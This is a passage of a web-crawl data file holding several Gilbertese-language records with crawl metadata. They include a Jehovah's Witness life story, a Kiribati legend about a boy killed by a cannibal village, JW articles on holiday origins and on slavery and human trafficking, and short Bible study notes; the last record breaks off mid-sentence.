Imwin te anene ao te tataro, ti a bane ni kaoaki nakon te taromauri i Angat n te Taabati are imwina.\nTabeman i buakora a rianna tao nimaua te maire (8 te kiromita) nakon te taromauri ae boo n aia auti kaain te utu ae te Cruz. E rangi n anaaki nanou ngkai a kona naba ataei ake i buakoia naake 50, n anga aia kaeka i aon reirei aika nano n te Baibara. Imwini botaki n taromauri riki tabeua, e a kaoai te bwaiania ae e a kara ae Brother Damian Santos, ae te meia ngkoa, bwa N na matu irouna. E bwakanako ara tai n te tairiki anne ni maroroakina te Baibara.\nNi boong akanne, a bati i buakora ake a waekoa ni butimwaei koaua ake a moan reiakini man te Baibara. Imwin irirakini botaki tabeua, a titirakinai taari mwaane ma tabeman riki ni kangai, \"Ko kani bwabetitoaki?\" I kaeka ni kangai, \"Eng.\" I ataia ae I kan \"toro iroun te Toka ae Kristo.\" (IKoro. 3:24) Ti nakon te karaanga ae uakaan, ao ti a bwabetitoaki ngaira uoman ni Beberuare 15, 1946.\nTi ataia ae ngkai Kristian ngaira aika ti a tia ni bwabetitoaki, ti riai ni katoatai n uarongorongo n aron Iesu. E aki kukurei iai tamau, ao e taku, \"Ko tuai roko n te roro n uarongorongo. Ao irarikina, tiaki nanona bwa ai te mitinare ngkoe ngkai ko a tia ni kateboaki n te karaanga.\" I kabwarabwaraa nakoina ae bon nanon te Atua bwa ti na tataekina rongorongon Ana Tautaeka n Uea. (Mat. 24:14) I reitia ni kangai, \"I riai ni kakororaoa au taeka ni bau nakon te Atua.\" Ikanne are e a kakamaakai iai tamau n aron are I taekinna mai moa. Eng, e bon iangoia bwa e na tukai man te uarongorongo. Anne are e a karika moani kitanani bwaai irou, ibukin uaiakinan tiau n te onimaki.\nA anaai ni kamaekaai i rarikia kaain te utu are te Cruz i Angat. A kaungaai naba ma natiia te aine ae te bina ae Nora, bwa ti na bwaiania. Ti uaia ni moana ara bwaiania n Nobembwa 1, 1947. E beku Nora n te kaawa teuana, ao ngai I teimatoa ni boutokaa te uarongorongo i Angat.\nE A MANGA REKE RIKI ANGAU NI KITANI BWAAI\nN au katenua n ririki ni bwaiania, e anga te kabwarabwara Earl Stewart ae te tari te mwaane man te aobiti n tararua, nakoia aomata aika 500 tabun ni maraen te kaawa i Angat. E kabongana te taetae n Ingiriti ao I a manga rairia n te aro ae kimototo n te taetae n Tagalog. Bon tii itiua au ririki n te reirei, ma a kakamanena te taetae n Ingiriti ara tia reirei. Te bwai riki teuana ae buokai ni katamaroaa au taetae n Ingiriti, boni karakoni booki aika aanaki n te Baibara n te taetae n Tagalog. Ngaia are I a ukeuke n reirei n ara boki aika bati n te taetae n Ingiriti. Ibukin anne, e a reke ongou n te taetae n Ingiriti ao I a kona n raira te kabwarabwara anne ma tabeua riki imwina.\nN te bong are I rairai iai ibukini Brother Stewart, e taekinna nakon te ekaretia bwa e kainnanoaki temanna ke uoman taari mwaane aika bwaiania man te aobiti n tararua bwa a na mwakuri n te Betaera. A na ibuobuoki ngkai a nako mitinare ni kaea te bwabwaro n 1950 ae te Theocracy's Increase Assembly i New York, i U.S.A. Boni ngai temanna ae I kaoaki. I a manga kitana naba te tabo ae I taneiai iai, ma n te tai aei, bon ibukin te ibuobuoki n te Betaera.\nI roko n te Betaera n Tun 19, 1950, ao I a waakina au beku ae boou. E mena te Betaera n te auti ae bubura ae e a maan n tei, ae otabwaniniaki n aroka aika bubura, n te aba ae uoua ao te iterana te eka buburana. Tao tengauni ma uoman taari mwaane aika akea buuia aika beku iai. N te moaningabong, I ibuobuoki n te umwanikuuka. Ao man te aoa ruaiwa, I mwakuri n te tabo n uaati ni katirai kunnikai. Ai arou naba anne n te bwakantaai. Imwin okia mitinare man te bwabwaro, ao I bon teimatoa naba ni beku n te Betaera. I niniri maekatin ibukini meerinakia, I katauraoi aia maekatin aomata ake a kani kakarokoaki aia maekatin, ao I beku naba bwa te tia butimwaeiia aomata. I karaoi bwaai nako ake I tuangaki.\nKITANANI BIRIBIN IBUKIN TE KUURA NI KIREATA\nN 1952, I rangi ni kukurei ma taari mwaane aika onoman riki mai Biribin, ngke ti a kaoaki nakon te ka-20 ni koraki n te Kuura ni Kireata. N te United States, a bati baike ti nori aika boou ao ni kaokoro ake ti kaaitara ma ngaai. E bon rangi ni kaokoro ma te baere I taneiai iai n ara kaawa are uarereke.\nN te katoto, ti riai n reireinira ni kabonganai bwaai ake ti aki nonori mai mwaina. Eng, e rangi ni kaokoro naba tauani kanoan te bong! N te ingabong teuana, I otinako bwa N na nora te tino. Ai tibwa au moantai aei n nora te tino. Ao I a kunea bwa e mwaitorotoro—e rangi ni mwaitorotoro!\nMa e ngae n anne, I rangi n unga n te reirei ni kataneiai ae tamaroa man te Kireata n te aro are ai akea au kangaanga ma bitaki akanne. A kabonganai aanga n angareirei aika rangi n anainano taan reirei. Ti reireinaki arora ni karaoa ara kakaae ao ara ukeuke n reirei ae uaana. I boni buokaki n te reirei ni kataneiai n te Kireata bwa N na karikirakea riki au onimaki.\nImwin au angabeeba, I a mwiokoaki bwa te bwaiania ae okoro ibukin tabeua te tai i Bronx i New York City. I a kona iai n ira te bwabwaro ae te New World Society Assembly n Turai 1953, are e karaoaki n aonon naba te kaawa anne. Imwin te botaki anne, I a oki nako Biribin ibukini mwiokoau teuana.\nKITANAN TE KAAWA AE KAMWENGARAOI\nA taku taari mwaane n te aobiti n tararua: \"Ko nang karaoa ngkai te mwakuri ni mwamwananga n te aono.\" E a reke angau n anne bwa N nang boni kakairi raoi ni mwanekan te Toka, are e mwamwananga nakoni kaawa aika uarereke ao aika bubura aika raroa, ni buokiia ana tiibu Iehova. (1Bet. 2:21) I mwiokoaki bwa N na beku n te aono ae bubura i nukan Luzon, ae te abamwakoro ae te kabanea ni bubura i Biribin. A mena naba iai aono aika Bulacan, Nueva Ecija, Tarlac, ao Zambales. Ngkana N na kawari kaawa tabeua, I riai n toua te aono ae maungaunga ae Sierra Madre. Akea te bao ni mwamwananga nakon taabo akanne, ngaia are I riai ni butiia taani kabutikaa ngkana I kona n tekateka i etan aia kai aika totoakaei ake a uotii ni kaa aika bubura. Angiin te tai a kariaia, ma e rangi ni kamwengabuaka te toka iai.\nA uarereke angiin ekaretia ao a a tibwa tei. Ngaia are a rangi ni kakaitau taari mwaane ngkana I buokiia ni bairei bobotaki ao te uarongorongo n te aro ae uaana riki.\nI a manga kamwaingaki imwina nakon te aono ae mena iai Bicol ni kabane. A mena n te aono aei kurubu aika raroanako ake a moana te mwakuri iai bwaiania aika okoro n aono ake a tuai ni kakawaraki. N te auti teuana, tii teuana te kainnakotinaniku iai ae te bwangabwanga i aontano, ao kaai aika uaai aika bangaki i aona. Ngke I toui kaai aikai, ao a a bwaka naba i nanon te bwangabwanga ao I bwaka naba. E bon anaa te tai ae maan kaitiakau raoi imwain te kaingabong!\nNi karaoani mwiokoau aei, I a moanna n iaiangoa Nora, are e a kamani moana ana bwaiania i Bulacan. Ma e a beku n te tai aei bwa te bwaiania ae okoro i Dumaguete City, ao I a nako ni kawaria. Imwina, ti a rereitaki i nanon tabeua te tai, ao ti mare n 1956. Ti kabanea te moani wiki imwin ara mare ni kawara te ekaretia i Rapu Rapu Island. Ikanne are ti a riai n tamwarakei iai maunga ao n rianna n te kawai ae abwabwaki, ma ai kakimwareireira te beku ibukia taari n taabo ake a raroanako, ngkai ai taanga ngaira!\nI A MANGA KAOAKI BWA N NA BEKU N TE BETAERA\nE kaania aua ara ririki n te mwakuri ni mwamwananga, ao imwina ti a kaoaki bwa ti na beku n te aobiti n tararua. Ngaia are e a moanaki man Tianuare n 1960 ara beku ae maan n te Betaera. Ni waakinakon te tai, a bati reireiau aika reke ngke I beku i rarikia taari mwaane ake a tabeakini mwioko aika bati, ao a kakaokoro mwiokoan Nora n te Betaera.\nNi menau n te Betaera, I kakabwaiaaki n nora te rikirake ae korakora n te onimaki i Biribin. Ngke I moan roko n te Betaera ngke I ataei ao akea buu, ao tao 10,000 mwaitiia taan uarongorongo iai. E a raka ngkai i aon 200,000 mwaitiia taan uarongorongo i Biribin, ao bubua ma bubua kaain te Betaera aika boutokaa te mwakuri n uarongorongo ae kakawaki.\nNgke e a tabe n rikirake te mwakuri ni waakinakon te ririki, a aikoa tau taiani kateitei n te Betaera. Ngaia are e a tuangira te Rabwata n Tautaeka bwa ti na kakaaea te aba ae ti na katea iai te tabo ae boou ae bubura riki. Ti katoai auti n te aono are mena iai te aobiti, ngai ma te mataniwi n te tabo ni boreeti n titiraki bwa iai ae e kani kaboonakoa abana ke akea. Bon akea, ma e taku nakoira te tia ababa temanna: \"A aki kakaboonakoa te aba I-Tiaina. Ma ti bon tii kakabooa.\"\nMa n te bong teuana, e a karina naba n tuangira te tia ababa temanna bwa ti kani kabooa abana ke ti aki, bwa e nangi mwaing nakon te United States. E a moanaki ikanne rikini baika rangi ni kamimi teuana imwin teuana. E iangoia kaain rarikira riki temanna bwa e na kaboonakoa naba abana, ao e kaungaia kaain rarikina bwa a na karaoa naba anne. Ti kabooa naba aban teuare taku bwa \"a aki kakaboonakoa te aba I-Tiaina.\" Imwin tabeua te tai, ai tenua te tai okiokini buburan te kateitei n te aobiti n tararua nakon are mai mwaina. I kakoauaa raoi ae bon nanon Iehova ae te Atua bwa e na riki anne.\nBoni ngai te kabanea n uarereke i buakoia kaain te Betaera n 1950. Ma ngkai, ai te kabanea n ikawai ngai ma buu. Bon akea uringaabau ngke I irira te Toka ike e kani kanakoai nako iai. Ni koauana, a kanakoai au karo man aia auti, ma e a tia Iehova n anganai au utu ae bubura ae kaainaki irouia raou n te onimaki. I aki nanokokoraki teutana bwa e boni katauraoi Iehova bwaai nako aika ti kainnanoi, n aki ongeia bwa tera mwiokoara. I rangi ni kakaitau ma Nora nakon Iehova ibukini katauraoani bwaai ni kabane ibukira, ao ti kaungaia tabemwaang bwa a na tuoa naba Iehova.—Maraki 3:10.\nE kaoaki ngkoa te tia rikoa te taekiti ae Mataio Rewi iroun Iesu, ni kangai: \"Ko na riki bwa te tia rimwiu.\" Tera arona iai? \"E kitani bwaai ni kabane teuaei, ao e teirake ao e a [irira Iesu].\" (Ruka 5:27, 28) E reke naba au tai ni karaoa anne, ao I kakorakoraai ni kaungaia tabemwaang bwa a na karaoa naba anne ao ni karekei kakabwaia aika bati.\n^ bar. 6 E boreetiaki irouia Ana Tia Kakoaua Iehova ma e a aki ngkai.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-ritembwa-2017\/kitani-bwaai-ni-kabane-ao-i-irira-iesu\/","date":"2018-03-20T06:32:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647299.37\/warc\/CC-MAIN-20180320052712-20180320072712-00104.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2317,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Posted by Amota Eromanga on January 19, 2018 at 4:15 PM|\n(ANTAI MATARI)\nN te aba teuana ao e mamaeka iai temanna te unaine ma tibuna te mmwane ae arana Matari. Bon ti ngaiia ni maeka n aia tabo aio are e bon raroa ma te kaawa. E bon tau buburan aia auti are e tei i etan taari ma bikena ae mainaina. I maiakiia ao iai te kaawa are e kaainaki irouia aomata aika bati.\nMamaten nanon te teinimwane ae Matari bon te kabuubuta waana te rooro i taari n tain te ora. N te bong koraki ao e na bon bae n takakaro te teei aio ma waana i taari ngkai bon akea raoraona are e kona n takakaro ma ngaia - ti tibuna are angiin te tai ai te tiitiku naba n te auti. Ma ni katoatai imwain nakon Matari ni kabuta waana ao e aki toki tibuna arei ni kakauringnga, \"Tai roroko i aan te kaawa ane i maiakira anne bwa ko rawa n aki karairaki!\" Ana kaeka Matari n taainako ti te kangai, \"Eng, I ongo am taeka ao I aki kona ni mwaninga.\"\nMa akea bwa n te bongina ao e manga takakaro naba te teei aio ma waana te rooro arei. E matoatau te ang ao man nakoraoi oran taari ao aio are e kamwaninganakoa Matari n takakaro. E kabuta waana te roro i taari ao ngaia e bibiribiri i etana i aon te bike. E tatakarua mani ngarengare ni kukurei n ana tai ni biribiri bwa rokon nanona n noran tiikeken waana. I nanon mwaninganakona n arona anne ao akea bwa e a kitana tian abaia ao man roko ni mwaaken te kaawa are i maiakiia.\n(KAAIN TE KAAWA AIO)\nE bo atin te ruoia inanon mwaneabaia ae te toa are e tei i mataniwiin taari n tanrion aia kaawa. A boni babane aia koraki bon mai irouia ataei ni karokoia kaara. A rangi ni karokonano aia kanoa bwa te kaimatoa, te kamei, te bino ao mwaie riki tabeua. E rebwe te bwaoki, e taekeeke te uboa, e ruo te ana, e katikaki te kai ao iriana are angin te mwaie are e taona nanon te mwaneaba. A tieekeke taani mwaie ao a nimarangirang kaain naano bwa e a bon roko ni kaungana taiani kanoa. Ma ngke e moti are tekorana ao akea bwa e a eka naba mataniwiin ke baatuan te kaawa. E mabu nanon te mwaneaba bwa te ongora nakon ana rongorongo te baatua.\n\"Ngkai ao iai te aomata ae raka ae e toua biken abara aio. Bon arona naba arei, tiringnga n te tai are e roko iaan tanrion ara mwaneaba. Uringa atana bwa e na katineaki ni iteran te mwaneaba bwa bon baireana ma rimoa!\" ana taeka te baatua nakoia kaain te mwaneaba are a ingaingaa ngkai kaotin te ianena are a tabe n toua biken abaia arei.\nNgke a e bon tibwa bwaka te teei are Matari iaan tanrion mwaneabaia ao aki tabwara rorobuaka bwa a ruaonna naba ni katiaa arona i aon te bike. Bon ti iraai te koromatang n toka iaon Matari ao are e raraunako naba ni bwaka ni mate. E kauraaki rabwatana inanon te ai ma a katuka matanriana (atana) inanon te bwaabwa ao ni katineaki ni iteran te mwaneaba. Ai kaawa ra ao ai kananoanga ra Matari bwa e aki okira tibuna ae e tiku n ti ngaia i mwiina ma te kariaria.\n(TE UNAINE ARE E TIKU MA TE KARIARIA)\nAkea bwa e a matairake taari ao e tuai mani karairaki naba Matari. Angiin te tai ao e okioki n takakaro imwaain matairaken taari ma n te tai aio ao bon akea naba baangina ni karairaki. E a kekerake riki taari ao e tuai mani kaoti naba Matari. E taonaki n te ang teuana te unaine arei aingaia are e a keiaki ni wairio nako aon te bike bwa e na tarataraa tibuna i taari. E taraa meang ma akea iai. E a manga taraa maiaki ma bon akea naba baangin te aomata. E a tatakaruaea arana ni weweteia, \"Matari Ooo! Matari Ooo!\" ma bon akea naba ae tou.\nE a kakaraurau ngkanne te unaine aio n riaon te bike nakoaiaki. E a noori ngkanne mwaneka riaon te bike ake a tuai ni mauna n taari are e tabe ni kekerake. E kinai mwaneka akanne bwa bon mwanekan tibuna ao akea riki. E bon reitanako naba tiriwewetean aran tibuna ma bon akea naba te bwana ae ongo. E a taoni riki waena neiei ni rimwiin mwaneka akekei ni karokoa e a ataia bwa e roko ni mwaaken te kaawa are i maiakiia. E a tei ngkanne n tara maiaki riaon te bike ma te nakonnano ao te rawawata bwa e a namakina te bwai are e ananga n tia n riki nakon tibuna are bon ti ngaia mamaten nanona. Tera ae na karaoia? E na reitanako kawaina ke e nang karairaki? Ma ibukin tangiran tibuna irouna ao e a katau bwa te reitanako kawaina. Ibuakon te tabeaianga ma te angi ni maroaa are e taonna ao e a kekerakina kawaina nakoaiaki.\nE a kaman atai rongorongoia kaain te kaawa aio bwa te koraki ni ioawawa ma ni banga-aomata. E ataia bwa ngkana e roko iaan aia mwaneaba ao e a tiringaki naba. Ibukin aio ao e a kabongana rabakauna n tabunea ni katea iai riariana ao mani kanamoraoa kawaina ma rokona irouia.\n(KAAIN TE KAAWA RIKI)\nI mwiin tiringan Matari ao e a manga reitakinako naba te ruoia irouia kaain te kaawa arei. E waaki ngkanne te buki, te tireeree, te karanga ao tabeua riki. N reken te marena, ao e a manga takaarua naba te baatua, \"Mwaane Oo, manga iai naba te aomata ae raka ane iaoni kawaina n roko iaan mwaneabara. Bon taekana naba arei, tiringnga ao katinea atana n te mwaneaba.\" A onrake nanoia rorobuaka n te un ma te kani kamamate ao ai ingaingaan rokon te iabatera n tanrion aia mwaneaba. A bane n tauraoi ma aia kai ni buaka inanon baia.\nMa ai boni kamimi ra! Bwa ngke e a roko te unaine arei i tanrion te mwaneaba, ao ai bon te nei ae maborabora nanoia rorobuakan te mwaneaba. E birinako te un ao e ruamwiiaki n te akoi ae akea n ai arona. A bwaka aia koromatang mai nanoni baia ao a karaurau ni wairio ni butimwaea ao ni kaira te unaine nakon aia mwaneaba. Ai aki akora naba korakoran te tabunea!\n\"Bukin rokou bwa I rimwiin tibuu ae takakaro ma waana te rooro. Au kantaninga bwa e kaoti baangina n ami tabo aio. I tangiria n okirikaaki ma ngaia.\" ana taeka te unaine nakoia kaain te mwaneaba.\nTera riki ae a na kona n taekinna kaain te mwaneaba? Ai bon ti te karautaeka ao te kabwarabure n te bwai are e a tia n riki. A kaongoa naba te unaine taekan atan tibuna are e tinetine inanon te bwaabwa. Ngke e ataia neiei bwa nikiran rabwatan tibuna are e kauiaa ai bon ti atana; ao e a tuatua bwa e na anganaki bwa e a na uotia n oki rikaaki. Eng, e bon rangi n rotaki nanon te unaine aio n te un n aron aia mwakuri ni banga-aomata kaain te kaawa aio. E rangi ni kan raira kain tibuna ma e ataia are e tuai boo taina.\nNgke e reke irouna atan Matari ao e a karaurau n okirikaaki. I aoni kawaina n okira mwengana ao e a bon mamangooa te tang ngkai akea tibuna are bon ti ngaia raraona n te bong koraki. N rokona ni batana ao e a karaua ni katoka korakain rabwatana.\n(E na reitaki - Mwakoro 2)\nCategories: Legends & Myths","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/www.storiesfromkiribati.com\/apps\/blog\/entries\/show\/45205773-karakin-matari-e-kororo-bukin-te-bakoa-are-teaina-mwakoro-1-","date":"2018-03-22T15:17:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647892.89\/warc\/CC-MAIN-20180322151300-20180322171300-00733.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1276,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TIAKI te Baibara ae otei boongi n toa ao boong ni kauring aika irekereke ma taian Aro ao te botannaomata, aika bukamaruaki n aaba aika mwaiti n taai aikai. Ma a riki mai ia bukamaru aikai? Ngkana ko kona ni karaoa am kakaae n te tabo n tangoboki, ko na bae ni mimi n nora ae taekinaki n taiani boki ni kaineti ma boongi n toa ao boongi ni kauring ake a rangi n ataaki n te tabo are ko maeka iai. Ti na rinanoi tabeua katoto.\nTe Itita ke te Bwakate. E taku te boki ae te Encyclopædia Britannica: \"Akea rongorongoni bukamaruan te toa ae te Itita n te Nu Tetemanti.\" E kangaa ni moani waaki karaoan te Itita? E riki man te taromauri ni beekan. E motikaki te Itita bwa aongkoa kauringan utin Iesu, ma a aki irekereke ma te waaki ni Kristian katei ake a kakaraoaki iai. N te katoto, e taku te boki ae te Catholic Encyclopedia ni kaineti ma te rabiti are e riki bwa bannan te Itita: \"Te man ae te rabiti bon aia kanikina beekan ao e irekereke n taai nako ma te kakariki.\"\nTe Kaririki. E kakaokoro bukamaruan te Ririki ae Boou n aaba nako ni kaineti ma te bongi n namwakaina ao te katei iai. E taku te boki ae te World Book Encyclopedia ni kaineti ma moan rikin te bukamaru aei: \"E moani kakinaa Tianuare 1 te tia tautaeka i Rom ae Julius Caesar n 46 B.C. bwa e na riki bwa Moani Bongin te Ririki. A tataneiai ni katabua te bong aei kaain Rom nakon Janus, ae atuan taiani mataroa n aekaia nako, ao atuan taiani moani waaki. E ingoanaki te namwakaina ae Tianuare n aran teuae Janus, ae iai uoua ubuna, bwa teuana e taraa mooa ao teuana e taraa buuki.\" Mangaia are taiani botaki aika irekereke ma te Kaririki, a riki man te katei ni beekan.\nHalloween. E taku te Encyclopedia Americana ni kaineti ma te toa aei bwa ai aron ae e karaoaki n aia bongi maate: \"Katei tabeua aika irekereke ma te toa ae te Halloween, a reitaki ma aia toa Druid [aia ibonga taian Celts rimoa] imwain aia tai Kristian. Uoua aia toa taian Celts ibukin atuaia aika uoman ake a kakannato riki irouia. Temanna atuan taai ao temanna atuaia maate (ae arana Samhain). Ana toa Samhain e kakaraoaki n Nobembwa 1 ae aia Kaririki taian Celts. Imwini bwakanakon te tai, e a riki te toa ibukia maate bwa kanoan naba te katei ni Kristian.\"\nBoong ni Kauring Riki Tabeua. A aki kona ni maroroakinaki taiani botaki ni kauring ni kabane ake a kakaraoaki ni katobibia te aonnaba. Ma e kakawaki ataakin ae boongi ni kauring ake a motikaki ibukini karietatakia aomata ke botaki ni botannaomata, a aki kariaiakaki iroun Iehova. (Ieremia 17:5-7; Mwakuri 10:25, 26) Uringnga naba are moan rikin bukamaru aika reitaki ma taian Aro, a na karauaki n iangoaki bwa a kakukureia te Atua ke a aki. (Itaia 52:11; Te Kaotioti 18:4) A na buokiko kaetieti n te Baibara ake a taekinaki ni Mwakoro 16 n te boki aei, n iangoia bwa tera aron te Atua n tarai bukamaruani boong ni kauring ake akea irekerekeia ma te Aro.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ana-reirei-te-baibara\/riai-ni-bukamarui-boong-n-toa-ke-boong-ni-kauring\/","date":"2018-03-21T11:28:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647612.53\/warc\/CC-MAIN-20180321102234-20180321122234-00124.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":528,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E taetae ni burabetinaki te riribai nakon Iehova ao Iesu\nE taetae ni burabetinaki bwa e na aki butimwaeaki ana kairiri Iesu irouia natannaomata ma a tangiria ni kairiia i bon irouia\nE koro bukin te taetae ni burabeti aei ni menan Iesu i aon te aba ao iai kakoroani bukina ae kakawaki riki n taai aikai\nE taekinna te tia areru bwa a ngurengure natannaomata n te bwai ae akea uaana, ae nanona bwa akea uaan aia kantaninga ao e na aki koro bukina\nTii naake a karinea te Uea are e kabiria Iehova aika a na karekea te maiu\nA na kamaunaaki ni kabane naake a kaitaraa te Uea ae te Mesia\nA kona aomata ake a karinea te Nati ae Iesu ni karekea te mweraoi ao te rau","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mei-2016-mwb\/kaetieti-n-te-botaki-mei9-15\/te-rau-ma-te-atua\/","date":"2018-03-23T05:47:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648178.42\/warc\/CC-MAIN-20180323044127-20180323064127-00645.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":131,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.481,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E roko Nei Blessing * i Eurobe ma iangoan ae e na boni karekea ana mwakuri bwa te tia karaoira. Ma imwin tebwina ana bong n ororeaki ao ibukin naba maakakini karaoan te mwakuri n iowawa nakoia ana utu ake a tiku i abana, e a kairoroaki iai bwa e na riki bwa te aine ae kakabooaki ibukin te wene ni bure.\nE kantaningaaki Blessing bwa e na karekea te mwaiti ni mwane ae 200 nakon 300 te mwane n Eurobe n teuana te tairiki, ibukini bwaran ana taarau iroun te aine are kammwakuraki irouna, ae 40,000 tabun te mwane n Eurobe. * E kabwarabwaraa ni kangai Blessing: \"I aki toki n iangoa birinakou ma I maaku bwa a kaawa ni kuaiia au utu. Bon akea au anga.\" Ana rongorongo neiei e bon riiriki naba nakoia aomata aika aua tabun te mirion ake a tautoronaki n te mwakuri ae kaboonakoaia aomata ibukin te wene ni bure.\nE kaania 4,000 te ririki n nako ao e kaboonakoaki te roro n rikirake temanna ae arana Ioteba irouia tarina. N tokina ao e a tautoronaki teuaei n te mwenga teuana ae kaubwai i Aikubita. Ma e kaokoro aron Ioteba ma Blessing, bwa e aki bwainikirinaki teuaei iroun ana toka n te moantai. Ma ngke e rawa nakon te baere e tangiria buun ana toka, ao e a reke iai n te kangaanga bwa e a bukinaki bwa aongkoa e na karaoa te mwakuri n tautau. E boni kamatawarikaki iai ao e kabaeaki n te taurekereke.\nIoteba bon te toro ngaia n taai ake rimoa ao Blessing e bon tautoronaki n te ka-21 n tienture. Ma a kaai n rinanon te waaki ae e taabangaki kakaraoana mangkoa, ae te waaki n iokinibwai are a karikaki iai aomata bwa bwaai ni karekemwane, ao n akea tabeakinaia iai ma tii iangoan te mwane.\nIBUKIN TE BUAKA AO E A RIKI BWA TE WAAKI NI BITINETI AE BUBURA TAUTORONAKIA AOMATA\nE noraki bwa te buaka bon aia anga natannaomata ae te kabanea ni bebete ibukini karekeaia aia toro. E taekinaki Uean Aikubita ae Thutmose III bwa e kairiia rikaaki aomata aika taiani bure aika 90,000 imwin te buaka teuana i Kanaan. A kammwakuraki naakai irouia kaain Aikubita bwa taian toro n te mwakuri ae kenakin atibu aika kakawaki, katean tembora, ao karaoani kawain te ran.\nI aan te Embwaea n Rom ao a a bon rereke naba tooro aika bati man taiani buaka, ao n tabetai e a kona ni manga boo te buaka ibukin uneakinaia tooro. E katautauaki bwa mwaitiia tooro n te moan tienture, e kaania iterani mwaitiia kaaini kaawan Rom. A bati aia toro kaain Aikubita ao kaain Rom ake a tautoronaki n te aro n iowawa. N te katoto, abwakin maiuia tooro ake n taabo ni keni koora i Rom tao bon tii 30 te ririki.\nMa i nanoni waakinakon te tai, ao e aki kekerikaaki te waaki ae tautoronakia aomata. Man te ka-16 n tienture nakon te ka-19 n tienture, ao e a riki iokinibwaiaia tooro mai Aberika nako Amerika, bwa te waaki ni bitineti ae rangi ni karekemwane n te aonnaba. E taekinaki n te ribooti teuana man te UNESCO bwa 'e katautauaki bwa tao 25 nakon 30 te mirion mwaane, aine, ao ataei aika kairoroaki ni kairaki nako ao ni kaboonakoaki. E taekinaki bwa bubua ma bubua tenga mwaitiia tooro ake a mate n aia tai n rinanon te Atlantic. E ribootinna ni kangai temanna ae tautoronaki are reke maiuna: \"Tangitangia aine ao ikenrawaia naake a a kaani mate, e a karika te tai arei bwa kaanga te tai ae moan te kakamaaku ao ni kangaanga aroni kabwarabwaraana.\"\nE kananokawaki bwa te tautoronaki bon tiaki tii te karawawata ae rangi ni korakora ae riki n taai ake rimoa. Ni kaineti ma ana ribooti te International labour Organization ao iai 21 tabun te mirion mwaane, aine, ao ataei aika boni mwakuri naba ngkai bwa kaaunga ao e uarereke booia ke bon akea. A tautoronaki aomata ni boong aikai n taabo ake a kenaki iai atibu aika kakawaki, taabo ni kunnikai, taabo ni karao buriki, taabo aika kakabooaki iai aomata ibukin te wene ni bure, ao ai bon taiani mwenga. E ngae ngke e aki eti i aan te tua te aeka ni waaki n tautoronia aomata aei, ma e a bon tabe n rikirake.\nTE INAOMATA MAN TE TAUTORONAKI\nKaraoan ae buakaka nakoia tooro, e a kairiia tooro aika bati bwa a na ukera inaomataia. N te moan tienture B.C.E ao te tia buaka ae Spartacus ma raona aika tooro aika 100,000 tabun mwaitiia, a kateirakea te kakaaitara n ekaanako Rom, ma a aki tokanikai. N te ka-18 n tienture ao a a teirake tooro ake n abamwakoron te Caribbean ae Hispaniolani kaaitaraia aia toka. Karaoan ae kakaiaki buakakana nakoia tooro ake a mwakuri n te tabo ni kaitioka, e a kateirakea te buaka bon i marenaia kaain te aba aei ae maanna 13 te ririki, are e a karekea iai inaomataia kaain Haiti n 1804.\nMa e bon riai n taekinaki otinakoia I-Iteraera mai Aikubita, bwa te inaomata man te tautoronaki ae te kabanea n nakoraoi, are e a tia n riki n taai ake rimoa. Tao tenua te mirion mwaitiia aomata ae nanona bwa te natannaomata ae bwanin, ake a kainaomataaki man te tautoronaki i Aikubita. A bon tau ni kainaomataaki. E kabwarabwaraaki n te Baibara maiuia naakai i Aikubita bwa a karawawataaki \"ni mwakuri nako aika karawawata.\" (Te Otinako 1:11-14) E kauekea naba te mwakuri ae tiringaia merimeri te Barao temanna, bwa e na kamemeerea iai rikirakeni mwaitiia I-Iteraera.\nE okoro kainaomataaia I-Iteraera mani karawawataaia ae ribuaka i Aikubita ibukina bwa bon te Atua ae ibuobuoki iai. E tuanga Mote ni kangai te Atua: \"I atai raoi marakia ake a taonaki iai. N na ruo bwa N nang kamaiuia.\" (Te Otinako 3:7, 8) A bubukamarua te Toa ae te Riao I-Iutaia ni karokoa ngkai, n taabo nako ni katoa ririki bwa kanuringan te bwai ae riki aei.\nTOKIN RAOI TE WAAKI AE TAUTORONAKIA AOMATA\nE taekinaki ae kangai n te Baibara: 'E aki ribuaka Iehova ae Atuara,' ao ti bon tuangaki iai bwa e aki bibitaki. (2 Rongorongo 19:7; Maraki 3:6) E kanakomaia Iesu te Atua 